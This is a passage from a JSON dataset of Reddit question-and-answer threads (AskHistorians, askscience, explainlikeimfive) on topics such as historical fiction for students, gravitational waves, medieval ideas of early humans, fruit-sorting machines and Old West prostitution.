on Indian ocean and of also those that had cultural and trade ties with these kingdoms. \n\nI have gifted a couple of high schoolers that I know of and they felt it was thoroughly enjoyable read as well as being very informative at the same time. ", "I've read a whack of Bernard Cornwell and I'll give you my two cents on this (because I think he's your best bet).\n\n* The last kingdom - This is a LONG series, like 9 or 10 books. But realistically you could read the first book to get a pretty good taste of it. The problem is that you're really not going to get into the guts of the \"value\" in this series until kinda like 3-4 books in. Basically, this series is about Alfred the Great. And it's told in a very entertaining way. The book(s) are focused on Uhtred, an arrogant, but generally amiable warlord, who is torn between his allegiances to the English and his upbringing with the Danes. The books are written in a way that provides extremely valuable insights about the political forays of the period. For example, how was power measured? How was security measured? What did it mean to be a subject of a king, and what did it mean to have a king, or a lord? These are all great questions to answer for young people, because it gives them a really valuable outlook on the benefits and boons of the modern world. However, my personal feeling is that the books don't really have enough pithy substance on Alfred, with the focus generally on Uhtred.\n\n* The warlord chronicles won't be too much of value, in my opinion, since there simply isn't enough factual evidence to recreate these timeless legends. Cornwell himself admits such in an authors note. These books are a decent read - albeit taxing on the memory early on to understand who all the characters are, but he is a spinner of the strange and wonderful. So good entertainment, but not much else.\n\n_URL_0_\n\nI'd go for waterloo - I haven't read it.. but I darn well will.", "When I was around the same age as your students, I read and loved The Walking Drum by Louis L'Amour. Unlike his other novels, it is not a Western. It follows the story of a young Celtic man in the 12th century, having exciting adventures as he tries to track down information about his lost father. He spends time in Islamic Spain, travels across Europe to Kiev and Constantinople, and ends up in the Middle East.", "Hello, I know you asked for historical fiction books but I wanted to take a moment to introduce you to Reacting to the Past. _URL_0_\n\nIn RTTP students engage with history directly through, reading, play and public speaking. It is designed for college-aged students but has been used successfully in high school. \n\nThere are quite a few books that you can buy and even more that you can playtest.\n\nI have seen firsthand how students who were not interested in history connect with it in a real and lasting way. \n", "These might be a little heavy for high school students, but I'd always recommend the Icelandic Saga's to someone that wants to read *fiction* written during the middle ages. The sagas honestly read like a typical plot from a Hollywood movie, with some extra pages to introduce the long lineage of various characters we barely see again. They are about heroes (or antiheroes), feuds, romance, politics, voyages, family, and general struggles. There is a lot of violence depicted in these stories, especially descriptions of limps being cut off. I don't remember an instance where sex was described, and the plot doesn't really revolve around sex.\n\nI wouldn't expect many students to pick these, but I think they would be an excellent choice for a student looking for the challenge and to fully submerge themselves into the time period. These are after all narratives written around a century before the *Canterbury Tales*, are are not written in prose either. The reason why I recommend these is that they capture the atmosphere of the viking age perfectly, despite not being written by a modern omniscient author. The English translations should read a lot smoother than the original, and I'm sure I've seen some that cut some of the fat as well. *Nj\u00e1ls Saga* is the classic, but it is also the longest and covers many different central characters. For more contained stories, I'd also recommend *Grettis Saga* and *G\u00edsla Saga*.\n\nI think these stories might also surprise your students, as you'll see instances of dark humour and surprisingly familiar and even clish\u00e9 plot lines, even though they are written to depict real events.", "The Pagan Chronicles (*Pagan's Crusade*, *Pagan in Exile*, *Pagan's Vows*, *Pagan's Scribe*, and *Babylonne*) by Catherine Jinks, are a very engaging series set during the crusades in the twelfth century. In the first, the protagonist is the squire to a Templar knight; later he goes with his knight to France, experiencing life in a castle and then a monastery and encountering Cathars. *Quite* readable and very fun, and the first book (which will stand on its own) is good for the \"world\" aspect of world history.\n\n*The Eagle of the Ninth*, by Rosemary Sutcliffe, is a YA classic set in Roman Britain. *Much* better than the Channing Tatum/Jamie Bell movie based on it.\n\n*The Thief*, by Megan Whalen Turner, is, strictly speaking, fantasy rather than historical. However, it is based on late medieval Greece and I think can do a lot to spur interest in the period and geographic location. (Also, as a fan of the series I am contractually obligated to wedge it into conversation whenever possible.)", "This straddles your year range, but The Agony and the Ecstasy by Irving Stone. It's a novelized version of the life of Michaelangelo and how he creates his masterpieces (as well as his interactions with the papacy). The author used close to 500 letters from Michaelangelo himself (that the author translated from Italian to English and later published as a separate volume) as a primary source. I know I really enjoyed it both from a history and an art history perspective as a high schooler.\n\n[Wikipedia link](_URL_0_)\n", "It might be a bit advanced for high schoolers (though probably not for seniors), but I'm a huge fan of Umberto Eco's *Baudolino*. The first one is a historical fiction about the fictional Italian adopted son of emperor Barbarossa and his life in the imperial court, university and campaigning with his adopted father. Halfway through though the title character heads east to find the realm of Prester John and the book slowly turns into a fantasy narrative where everything that Europeans thought was in the east actually was. The book conveys the social, religious, economic and political issues of the day without ever feeling like it's bashing you over the head with exposition or leaving you in the lurch if you aren't already a medievalist. The copy I got even has a section at the back for facilitating discussions about the book. This novel is what basically solidified my choice to go into medieval history.\n\nIf *Baudolino* is too esoteric for you there's also *The Name of the Rose* by the same author. It's basically a murder mystery set in a thirteenth century Benedictine monastery.", "Connie Willis' Domesday Book is a really interesting look into the Black Death. A character time travels to the past and experiences the chaos and horrors  of the plague, but the parts that take place in the fourteenth century are well researched.", "Adding a new perspective as this thread grows and people pour in with their historical novel recommendations . . . \n\nA lot of the recommendations OP's getting are for classics such as Rosemary Sutcliff and Mary Renault, which were dated when I was a kid reading them in the 90s. I still think they're great novels. They transported me into those histories, making them feel human and interesting, but they are decades out of date. \n\nOther recommendations for Conn Iggulden's series, which is full of mixed-up history, Ellis Peters \"Cadfael\" which I've avidly read but suspect the main character is weirdly modern in his worldview. And then are so many other historical novels which I've loved but have no idea of the accuracy.\n\nI think teachers using historical fiction in the school (and I'm an elementary student teacher so I'm thinking this through) really must understand what they're doing with it. Does it matter that Sutcliff and Renault aren't the latest and most up-to-date? I don't think so, as long as you're very clear on how you're using the fiction.\n\nAnyhow, OP, you might be interested in checking out this earlier thread.  [What's a historical fiction novel that impressed you with its accuracy?](_URL_0_) with more recommendation and discussion of what makes historical fiction tick.", "I really enjoy Samuel Shellabarger. I didn\u2019t think they were still in print, but it appears that at least _Prince of foxes_ (Italian Renaissance) and _Captain from Castile_ (Mexican conquista) are in print, and both of those and _The king\u2019s cavalier_ (France of Francis I) are published as electronic books for iBooks and Kindle. He was a professor of English at Princeton, and published non-fiction work on the Chevalier de Bayard (Pierre Terrail) and Lord Chesterfield, along with mysteries and romances under other names.\n\nThe books I mention seem to have been packaged for young adults when they were originally printed in the mid fifties, and I do not recall anything that would get one in trouble for assigning to teenagers.\n\nEdit:\nYou mention an interest in Rome. Steven Saylor writes a wonderful series of mysteries, Roma sub Rosa, set at various times during the fall of the Republic, centered around Gordianus, who starts off working for Cicero. I don\u2019t think it would be suitable in terms of content for your class, but for yourself, go ahead.", "Though it has more merits as a novel than a work of history (it is far more sympathetic to Cromwell than many historians are, for better or worse), Hilary Mantel's _Wolf Hall_ really makes the reader feel embedded in the day-to-day of the court of Henry VIII, and does a huge amount of work to get away from the sterile view of \"great leaders.\" Mantel imbues the characters with tremendous life, fallibility, and danger, and the world she builds is a rich one. It is also a serious book of literature on its own merits. A favorite of mine. Lots of possible discussions could come out of it.", "Many great suggestions on this thread, I can't find a reference to Mary Renault's 'Alexander Trilogy', you could read 'Fire From Heaven', the opening book, as a stand alone. \n\nI did see a reference to Robert Harris's excellent Cicero Trilogy, perhaps his rather shorter and more action packed  'Pompeii' would be an easier introduction to the period. And certainly a much much easier read than Robert Graves' 'Claudius' books.", "The Unknown Soldier is a good one on the Finnish struggle in WW2. No clue if it exists out there in english though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.amazon.com/Last-Wine-Mary-Renault/dp/0375726810"], [], [], [], [], [], [], [], [], [], ["https://www.amazon.com/Teaching-Difficult-History-through-Film/dp/1138190772", "https://www.amazon.com/Teaching-History-Film-Strategies-Secondary/dp/0415999561", "https://www.amazon.com/Akhenaten-Dweller-Truth-Naguib-Mahfouz/dp/0385499094#productDescription_secondary_view_div_1517176169164"], ["https://books.google.ca/books?id=wljHQqPLR78C"], [], [], [], ["https://www.reddit.com/r/AskHistorians/comments/558mag/floating_feature_what_historical_fiction_covering/d88le5m/"], [], ["https://en.wikipedia.org/wiki/The_Long_Ships", "https://en.wikipedia.org/wiki/The_Accursed_Kings", "https://en.wikipedia.org/wiki/La_Reine_Margot_(novel\\)", "https://en.wikipedia.org/wiki/Tim_Severin#The_Brendan_Voyage_(1976%E2%80%931977\\)"], ["https://www.amazon.co.uk/dp/0340921587/ref=cm_sw_r_cp_tai_PkMBAbESF3SNG", "www.amazon.co.uk/dp/1471146553/ref=cm_sw_r_cp_tai_O.LBAbY9564BG"], [], [], ["http://www.bernardcornwell.net/series/other-books/"], [], ["https://reacting.barnard.edu"], [], [], ["https://en.wikipedia.org/wiki/The_Agony_and_the_Ecstasy_%28novel%29?wprov=sfla1"], [], [], ["https://www.reddit.com/r/AskHistorians/comments/4ahkub/whats_a_historical_fiction_novel_that_impressed/"], [], [], [], []]}
{"q_id": "4appjm", "title": "in the united states, is my internet censored?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4appjm/eli5_in_the_united_states_is_my_internet_censored/", "answers": {"a_id": ["d12fi8k", "d12fpwu", "d12h8rr", "d12j0t5"], "score": [7, 6, 2, 2], "text": ["No, well not by the government. Unless a business or family member blocks websites there's no restrictions.", "Maybe, sort of. While we don't strictly have government level censoring, there's more subtle ways in which things will be denied to you. There's the obvious blocks and filters that employers will put on their systems so that people using work computers can't browse porn, for example. Then there's things that have been deliberately removed from Google (and Bing and Yahoo and...) internet searches such as copyrighted materials or things that are illegal or that people have complained about. There's also region locking for sites like YouTube and NetFlix. All of these could qualify under a broader definition of censorship, but the US does have a pretty open internet policy.", "The Trans-Pacific Partnership just opened another can of worms on that too, changing some copyright laws which affects internet content. To some extent it is filtered by googles smart-ads, which affect what pops up/is suggested to you. Technically to go around the restrictions that your isp or the search providers you use have imposed you'd need to go to the deep web, the internet behind the internet.\n\nFor further reading on that\n\n_URL_0_", "I feel like the internet is  'algorithmically' censored these days. I'm old enough that I remember the net from the beginning and even though it obviously sucked in it's early years there was still an exciting sort if freedom to it. You never knew what you were going to run into, and because of that you were frequently exposed to brand new concepts and products. Today algorithms watch what I browse and decide that's all I will ever see. Now you have to actively randomize your internet behavior if you want to see new things. I freaking hate algorithm driven web. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Deep_web_(search)"], []]}
{"q_id": "5tnxnd", "title": "panasonics new \"invisible tv\", how is it transparent?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5tnxnd/eli5panasonics_new_invisible_tv_how_is_it/", "answers": {"a_id": ["ddo6tfn"], "score": [6], "text": ["[Their screen](_URL_2_) is an array of very small LED lights (red, green, and blue ones) printed on a sheet of clear plastic (which is then placed behind the clear glass.\n\nWhen the shelf light behind the glass is turned off, it is black back there so the clear parts of the screen look black, and the lit parts are the colors you see. [See this video.](_URL_0_)\n\n[An earlier version they showed](_URL_1_) looks like it had the OLED screen with a black and white LCD screen right behind it. So the screen is transparent when the LEDs are off and the LCD at that position is also off, black when the LEDs are off and the LCD is on, and colors when the LEDs are on and the LCD is on. This is how they can have part of the screen clear to see the shelf contents and part black at the same time. Notice that the black isn't perfectly opaque, so you still see the shelf a little while the screen is on and moving."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://youtu.be/eoIQmWd8LTQ?t=56", "https://www.youtube.com/watch?v=gsbxCeJ78As", "http://www.guidingtech.com/62195/panasonic-invisible-tv/"]]}
{"q_id": "489w8z", "title": "At the source, how big were the gravitational waves/ripples in spacetime created by the black hole merger we witnessed?", "selftext": "I understand that much of its initial energy had dissipated by the time it reached Earth, but I'm trying to get a sense of the scale of these ripples when they were initially created.\n\nCan anyone provide some sense of scale of the original waves given the kind of event we witnessed?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/489w8z/at_the_source_how_big_were_the_gravitational/", "answers": {"a_id": ["d0hz3rl", "d0i2npq"], "score": [14, 99], "text": ["Around the time where the merger actually happened, and around, idk, one schwarzschild radius from the black holes, the amplitude was of order 1.\n\nActually it's not really precise because when the amplitude becomes sufficiently big then you exit the regime of weak fields and it makes no sense to speak of waves and their amplitude, and there is no sensible definition of how strong the gravitational perturbations are with respect to a background, because you're nowhere close to a given background.\n\nAn independent measurable quantity for measuring the strength of this stuff would be the Riemann curvature tensor. It measures the stresses the gravitational field would apply on an object. And for a black hole merger, you can be sure this one must have been absolutely brutal.", "We measured a strain of around 10^(-21). That means the length of a 4-km tunnel fluctuated by 4 attometers, or about 1/1000th the diameter of a proton. The amplitude of gravitational waves falls off as 1/R, and the source of the waves was a black hole merger that was about 1 billion light years away. That means that at 1 light year away, the strain would go up to around 10^(-12). At 1 AU (the distance from the earth to the sun), the strain would be about 10^(-7). At one Earth radius, you would be up to a strain of 10^(-3). We could try to calculate for smaller radii, but I am guessing the effects near the black holes will be nonlinear. At some point it isn't so much that you are being stretched by a wave, you are just colliding with one of the spinning black holes.\n\nNow, even at 1 Earth radius the waves would only be warping your height by around 2 mm or so. I'm not sure what that would do to you - it is a small distance but it would be applied pretty quickly. On the other hand, while I'm not sure exactly what kind of gamma radiation would be produced by the merger I am pretty sure at a distance of one Earth radius it would be lethal. So even if the gravity waves didn't kill you, you'll still be dead.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "41dqt4", "title": "Have all of the nuclear detonations on Earth potentially shifted Earth's orbit around the Sun?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/41dqt4/have_all_of_the_nuclear_detonations_on_earth/", "answers": {"a_id": ["cz1l95k"], "score": [25], "text": ["The answer ranges from *absolutely not* to *essentially not at all.*\n\nFirst of all, realize that for a nuclear explosion to have *any* effect on the Earth's position or velocity, it would need to somehow kick up chunks of matter away from the Earth. Otherwise, [Newton's laws of motion tell us](_URL_0_) that if we consider the Earth and its atmosphere as one system, then any internal change of this system cannot change its overall momentum. To put it simply, when you throw a ball away from you, you are pushing on the Earth a tiny, tiny bit, but this change is compensated for by the ball's momentum. As a result, from an external perspective the overall momentum of the Earth doesn't change *at all.* Nuclear explosions are far larger and messier, but the key idea remains the same.\n\nSo in other words, to push the Earth, we would need to cause the explosion to propel matter away from us, just like a rocket pushes gases away so it can move forward. In principle we could think of a way to use a nuclear bomb to this effect, where we would explode it right outside the atmosphere so it can push the Earth. But now we have a second problem: the Earth has a huuuuge amount of kinetic energy. The Earth has a mass of 6\\*10^(24) kg and is flying around the sun at a speed of 30km/s. Now we can work out the total (translational) kinetic energy:\n\nE = 1/2 m\\*v^2 = 1/2 \\*  6\\*10^(24)kg \\* (30,000m/s)^(2) = **3\\*10^(33)J**\n\nSo we get a whopping 3\\*10^(33)J of kinetic energy. To put that in perspective, the most powerful nuclear bomb ever tested, the Tsar Bomba, *only* had a yield of 2\\*10^(17)J. In other words, **we would need 10^(16), or ten thousand trillion Tsar Bomba's to stop the Earth!** I think it's fair to say that we are pretty safe as it is... "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Momentum#Conservation"]]}
{"q_id": "zi9bq", "title": "Where i'm from in Eastern Europe it is a common belief that by sitting or walking barefoot an a cold floor you become more prone to UTIs. Is there any truth to this?", "selftext": "All my life all the women in my family have been nagging me about not sitting on the ground and not walking barefoot and especially not going into cold water because i will be forever doomed with constant UTIs. But since there are few things i enjoy more than sitting on the floor, i need some scientific evidence to back this up. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zi9bq/where_im_from_in_eastern_europe_it_is_a_common/", "answers": {"a_id": ["c64vmth", "c64vq6q", "c64wnqz"], "score": [4, 32, 24], "text": ["Sorry, but what is a UTI?", "In all likelihood - no.  There is no reason this should be the case, unless you are in the habit of sitting on a terribly dirty floor while completely naked, and/or finding a way to stick your terribly dirty feet from your terribly dirty floor into a part of your anatomy they were not meant to be stuck in\n\nthe \"cold water\" part is unlikely as well. think about all the civilizations that live on the banks of cold water bodies.  ", "It's a great question, and it deserves to be asked not only in _askscience_, but also in _askhumanities_ (if a subreddit like that does exist). Because the superstition against sitting on the ground / stones / rocks is really strong in some Eastern European countries (Russia, Ukraine), while it doesn't seem to be known in Western Europe / Americas.\n\nLet me quote [this nice blog](_URL_0_):\n\n >  \"It is widely believed in Russia that sitting on cold surfaces, such as rocks or even the ground, is not simply taboo for a woman, but it is extremely hazardous to her health and inhibits her ability to bear children (by somehow exposing her ovaries to the cold). It is a practice that is rigorously upheld, especially in cold weather and with young children, who will often unknowingly sit on the ground, and who will frequently be lifted up by a supervising adult.\"\n\nI remember reading a book that argued that this superstition stems from some old, pagan, pre-Christian Eastern Slavic traditions, in which Mother Earth (usually referred as Mother Moist-Earth) was an important force, or even deity, making the relations between a man and the Earth quite complicated. I tried to google out a reference for it, but could not find one.\n\nNote also that while it's universally considered very bad to sit on a stone, it is OK to sit on it if you put a thin shirt between your butt and the stone. Also note that with the [sacred stones](_URL_1_) situation is the opposite in a way: people are supposed to sit on them to get healing (this tradition is not at all ancient, but it illuminates the paradigm within which the people are thinking).\n\nAll this information is not quite about Science, but I think it may be interesting to know. Also it can hint indirectly that most probably this \"sitting-on-stones\" theory is indeed a cultural marker, and not a scientifically valid claim."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://americangirlsinmoscow.blogspot.com/2007/07/russian-superstitions-no-you-are-not.html", "http://en.wikipedia.org/wiki/Golosov_Ravine"]]}
{"q_id": "4lx7q7", "title": "Were medieval people aware of cavemen? Have we always known that humans have progressed from a more primative (technological, engineering) state?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4lx7q7/were_medieval_people_aware_of_cavemen_have_we/", "answers": {"a_id": ["d3r8tl3", "d3r8z1m", "d3r9eln", "d3rgsyo", "d3rh94v", "d3rhox8", "d3rpv78", "d3rvsg7"], "score": [11, 288, 446, 19, 15, 10, 11, 4], "text": ["Follow up question, do we know how they treated artifacts and cave drawings from that time. It obviously would differ from place to place but in general.", "I don't have my sources on hand at the moment, but the history of archaeology really starts during the Renaissance, with the renewed interest in ancient Greco-Roman culture and architecture. This study was known as \"antiquarianism\". Archaeology would take many more years to mature and the excavations would have to get more and more sophisticated until it became obvious to archaeologists that they had discovered evidence of what men were like before the Romans in Europe. What you know as a linear history of man is the result of painstaking analysis of what has forever been a \"random\" assortment of stuff buried in or sticking out of the ground.\n\nIn brief: the answer is no. This is because there was no evidence to know what they were like or to suggest that they existed and the doctrine at the time would have been to refer to the bible for the world's history, which certainly has no place for cavemen after the Garden.\n\nI will also add that what many people know as \"cavemen\" are probably the Neanderthals who often lived in caves for shelter during Europe's Ice Age. Their existence was definitely unknown to people until well into the scientific revolution and stone age homo sapiens actually lived somewhat differently, and arrived to Europe well after the former species (the details of this are probably off-topic).", "(I can only speak with any sort of authority on antiquarianism in Britain so that's what I'll focus on.)\n\nAs far back as cavemen, almost certainly not, but there was a growing awareness of the fact that people in the past weren't like they were in the present. The understanding of the progression of man is something that can be largely tracked by the development of antiquarianism and the first case in Britain was John Rous (1415-76) (see also William Worcestre (1411-91)). He recorded the difference between historic and contemporary armour styles that he found in Warwick Castle and extrapolated this with varying degrees of success. While his work didn't have a great immediate influence, it went on to impact John Leland (1503-1552) and then William Camden (1551-1623) who would both play major roles in the development of antiquarianism in Britain.\n\nCamden in particular began to speculate on the nature of primitive Britons following the discovery of indigenous people in the New World, speculating that primitive Britons would have looked much like them and used similar tools. Worked flints were also discovered and, as people realised that the flints being made in America were the same as often found in Europe, the connection was slowly made that ancient Europeans were also once at the stage (there were still people who believed them to be fairy arrows and lightning bolts into the 18th century though). However, given that this is the late 16th/early 17th century, it is a stretch to call it still medieval and it should be remembered that this was very much a small elite - even if Camden's work did bring antiquarian findings to a broader audience.\n\nIt should be remembered that during the medieval era Geoffrey of Monmouth's *Historia Regum Brittaniae* (famous for, amongst other things, being behind the popularisation of the King Arthur myth) was largely seen as fact. While there were consistent attacks on the work, it was largely accepted until the mid-16th century when it began to lose favour (Leland was one of the last great fierce defenders of it). We can see repeatedly the nature in which people thought that Arthur's era and the contemporary medieval era were essentially the same, most famously when Henry VIII and Francis I sought to emulate it with the Field of the Cloth of Gold as well as the desire to create castles that reflected Arthurian legend. To me this seems indicative of a people trying to reclaim a golden age of the past, rather than of a people understanding the comparative poverty and primitiveness of their predecessors.\n\nSources: *British Antiquity* (1950) Kendrick; *Ancient Britons and the Antiquarian Imagination* (1989) Piggott. If you want any more, I can happily provide more works that may be of interest.", "The first Neanderthal remains were found in a cave in the Neander valley in the mid 19th century. The identification was controversial. Some claimed the bones were those of a Russian soldier who died in the cave during the Napoleonic wars. Others, that it was an old mentally defective man with arthritis.\n\nThe \"cave man\" idea was popular in the late 19th century following the acceptance of Darwin's theory of evolution. Then there was the search for the \"missing link\" to prove Darwin's theory.\n\nSo the idea of cave men was from the late 19th century. There were stories about primitive men in traveller's tall tales and  \"noble savages\" but the cave man was something else.", "So far, lots of interesting answers regarding \"Western\" civilisation. I'm also interested to know about other cultures, particularly the Chinese (as I've read about a great deal of parallel development of philosophy, mathematics etc)", "On the second question, Herodotus mentions multiple peoples of various technological states in the Histories.  It seems to be one of his main themes and he actually mentions troglodyte peoples in northern Africa.  ", "This answer is going to focus on the early and high Middle Ages, things did change somewhat with the transition into the late Middle Ages and Early Modern period.\n\nThe answer is almost certainly not.  You have to understand that the classical world (the area around the Mediterranean) there was a constant technological push and pull, with new ideas diffusing or conquering people bringing them, keeping relative parity of technological development over extremely long time spans.  \n\nIn fact, most of medieval understanding of the way things change as time progresses is not advancement, but decline.  This is informed by two major things: Roman ruins and Christianity.\n\nMedieval people lived sometimes literally in the shadows of Roman ruins.  Educated people recognized that these were the works of men, but they were still awe inspiring in their size and complexity.  The famous phrase from Beowulf \"eald enta geweorc\" translates roughly to \"the old works of giants\" - which captures how these ruins were seen.  It's possible common people literally thought of them as having been built by giants, but more likely there was an understanding that they were the ruins of a great past civilization.  So Medieval people were constantly living around reminders that there was once a much greater civilization living on the same land as they now inhabited that had capacities far beyond their own.\n\nThe other thing to remember is that the medieval world view was powerfully influenced by Christianity, which is a story of a great fall with partial redemption.  Humanity started in a state of perfection and harmony with nature, fell, then suffered decreased lifespans and magnificence generation after generation.  Christ redeemed humanity, but humans must still live their entire lives suffering from their sinful nature and struggling to redeem themselves.", "*ORIGINS AND SAVAGE PERIOD OF MANKIND*\n     \n*But mortal man*\n\n*Was then far hardier in the old champaign,*\n\n*As well he should be, since a hardier earth*\n\n*Had him begotten; builded too was he*\n\n*Of bigger and more solid bones within,*\n\n*And knit with stalwart sinews through the flesh,*\n\n*Nor easily seized by either heat or cold,*\n\n*Or alien food or any ail or irk.*\n\n*And whilst so many lustrums of the sun*\n\n*Rolled on across the sky, men led a life*\n\n*After the roving habit of wild beasts*\n\n-\n\n*As yet they knew not to enkindle fire*\n\n*Against the cold, nor hairy pelts to use*\n\n*And clothe their bodies with the spoils of beasts;* \n\n*But huddled in groves, and mountain-caves, and woods*\n\n-\n\nThis is two selected sections of the poem \"De Rerum Natura\" or \"On the Nature of Things\" by the Roman poet and philosopher Lucretius. Lucretius' work **dates to the 1st century BCE**, so well before the medieval era.\nLucretius goes to describe the invention of agriculture, metalworking and similar things. The other Books of the poem deal with other things, the nature of atoms, the infinite nature of the universe, ect., but this sections deals with humans. \n\nThere were other ancient authors who expressed thoughts, but this was the most direct example i could come up with. My point is  that ancient romans and greeks knew about cavemen and some of the early developments of civilizations.\n\nAs for medieval people, they had the ancient texts, so we must assume that at least some of them knew. There were copies of \"De Rerum Natura\" in a number of medieval libraries, but only few people would have had access to these. However by the early 15th century people started producing quiet a few copies and thus it became more widely available.\n\nThat is at least my perspective as a classical era specialist.\n\n*note: the sections of \"De Rerum Natura\" included in this post stems from the William Ellery Leonard translation, which is available for free through the Perseus Collection [here](_URL_0_). The lines quoted are 5.925-35 and 5.963-6.*   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://www.perseus.tufts.edu/hopper/text?doc=Perseus%3atext%3a1999.02.0131"]]}
{"q_id": "as78kq", "title": "how do machines that separate ripe fruits from raw ones work?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/as78kq/eli5_how_do_machines_that_separate_ripe_fruits/", "answers": {"a_id": ["egsbc7t"], "score": [6], "text": ["It varies depending on the fruit and the machine.\n\nIn the case of tomatoes, there is a machine with camera banks that take color samples from them as they fall, and judge whether they are ripe based on how red or green. Any that is unripe is hit with a paddle and removed from the line.\n\nIn the case of cranberries, no machine is needed. Cranberries are also called 'bounceberries'. The ripe ones bounce, unripe berries don't. So they pour the berries down a series of steps with each ledge slightly tiled back. The ripe berries bounce down the steps into the basket. The unripe berries don't bounce, they just land on the step and roll backwards into the wastebasket.\n\nMost machines or tools that separate fruits or veggies use one of these standards, color or firmness. However, most that are separated are still done the old-fashioned way, by hand. No machine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2h5pk1", "title": "What was prostitution like in the \"Wild West\" ? Did they shave their legs ?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2h5pk1/what_was_prostitution_like_in_the_wild_west_did/", "answers": {"a_id": ["ckpwj1z", "ckpwvhy", "ckpx7xj", "ckpy1lq", "ckpy81a", "ckq4sg1", "ckqasly"], "score": [14, 753, 4, 31, 120, 9, 27], "text": ["[I asked a related question a few months back](_URL_0_). Didn't get much of a response, but maybe what was written will be of interest to you, particularly the references. ", "Ok, maybe flirting with the Rules here.   I have some knowledge from a course I took years ago, and material that I read that was incidental to my undergrad thesis. (Which was on Crime and Justice in Territorial Arkansas). \n\nI'm familiar with two good books on the topic, but my knowledge was more general in nature and based on what I recall from incidental mentions in many other sources I read. So i'll cite the two sources I know are more comprehensive first, then go on to what I recall. \n\n[Whores in History: Prostitution in Western Society](_URL_0_)\n\nYou might also look at [The upstairs girls, prostitution in the American West](_URL_1_)\n\nAny discussion of prostitution in the historical context is invariably influenced by modern politics.  Until the 20th century, the idea of \"social history\" was fairly radical, and more traditional views of history prevailed. (i.e. kings and generals, wars, nations, political movements etc.).  When you combine this with the idea that traditional morality often looks down on the business of selling sex for money, most histories of prostitution are relatively recent, written since 80's and 90's.  \n\nEven then, you have a rather sharp discord between more traditionalist historians, and various stripes of feminist and marxist historians each of whom would put their own particular spin on the nature of prostitution.  \n\n\nMoving on to what I can say more specifically.  There's a popular conception that may not be entirely accurate.  There were certainly prostitutes in the old west, but they were not perhaps as common as might be thought, and perhaps more accurately, there were different levels of the trade. \n\nIn the \"old west\" - California in the 1850's and territories west of the Missouri River, Kansas City, etc/. The Dakotas into the 1870's., the population was 90% men.   The areas were mostly under federal jurisdiction.  It was far from the moral judgment of eastern victorian era society, but the moral judgment was not entirely absent. Women who were seen to be open prostitutes were harshly judged, even in western society. Common names were \"soiled doves\" and \"Daughters of sin.\"   Prostitution was illegal almost everywhere in the west, but the Federal government had bigger things to worry about, and local law enforcement was often in its infancy.  Direct acts of prostitution were often banished outskirts of the community (or driven underground) and were one of the first things displaced when \"civilization\" moved in. \n\nThat said, when you had a population that was disproportionately young, disproportionately male, and with money to spare, there was undeniably a demand for female companionship. \n\nEnter the \"saloon girl.\"  Under the Victorian standards of the time, these girls would still have been engaged in a dishonorable profession, but in a looser society, these girls could maintain a distance from the seedier aspects of the profession, and if some engaged in direct prostitution, it was far more discreet (and many may not have done so at all). \n\nA saloon girl was a woman employed by a bar.  This is roughly analogous to a Japanese Hostess, although the cultural context is different. Many were refugees of a sort, having left farm life or life in an an eastern mill by the same promise that drove men out west in droves. The promise of high wages.  Flyers promised Saloon girls $10 a day, which was 3x the wage a laborer could make.\n\nThe Saloon Girls were paid by the bar owner to sit in the bar and interact with the male patrons.  They were paid a commission on each drink they sold, and often male patrons of the bar would have the opportunity to buy the girls overpriced drinks.  They would also dance with the men, for a fee, split between the girl and the house. \n\nAlthough these girls often dressed provocatively, these Saloon girls were considered \"good girls\" by their customers, and indeed that was part of their allure.  The bar owners correctly judged that many men would rather interact with \"good\" women, on the possible hope of something to follow, than with a woman who was simply exchanging cash for an act.   That said, the saloon girls may or may not have been willing to bestow extra favors upon particualrly good customers, although the entire relationship maintained an air of plausible deniability, both from the sales side (we're selling overpriced drinks, not women) and the buyers side (buying a drink for a girl isn't the same as paying her right?). \n\nAnd indeed, the nature of a Saloon Girls' employment made it possible to transition into a more respectable life when the area became more civilized. Being a Saloon girl also did not necessarily preclude other, more conventional employment. And if a Saloon girl managed to settle down later, again, there was less to gloss over than if she had been a much lower class prostitute. \n\nBelow the saloon girls would have been girls who were more obviously prostitutes, but were high class prostitutes operated out of brothels or \"parlor houses.\" In these type of establishments gentlemen would be able to call and engage in social activity with the women. Again drinks were available and there was more involved than simply picking a girl out of a lineup like is often depicted in film.  The social interaction however, would culminate in the pair going upstairs to a room to negotiate further.    Many such parlor houses were run by a female madam, and maintained bouncers to protect the girls.  Again, there was somewhat of an air of plausible deniability.  In more modern terminology, the girls might be considered \"independent contractors\" and what they purported to do in those upper rooms was between them and their clients, and something the madam could theoretically still deny, even if it was an open secret. \n\nEven these parlor houses were often discouraged and pushed into areas of town. The practice of identifying the houses by hanging red lights gave rise to the term \"red light district.\" As local governments gained strength and brought \"civilization\" and morality with them, these entities were pushed out. \n\nAt the lowest level would have been women who operated out of their own businesses or streetwalkers. In some areas, laundrywomen developed a reputation as brothel owners, which in some cases was tied to the prostitution (and sex slavery in reality) of Asian women. As a laundry run by Asians might double as a brothel.  These truly did operate at the lowest level, being often in the underground economy.   \n\nPrices varied widely, with the cheapest prostitutes being a few dollars, (about a day's wage for a moderately skilled or hard working laborer), to high class prostitutes costing $50 or more.  \n\nAs for whether they shaved their legs, I personally have no idea, however, there are photo plates and paintings 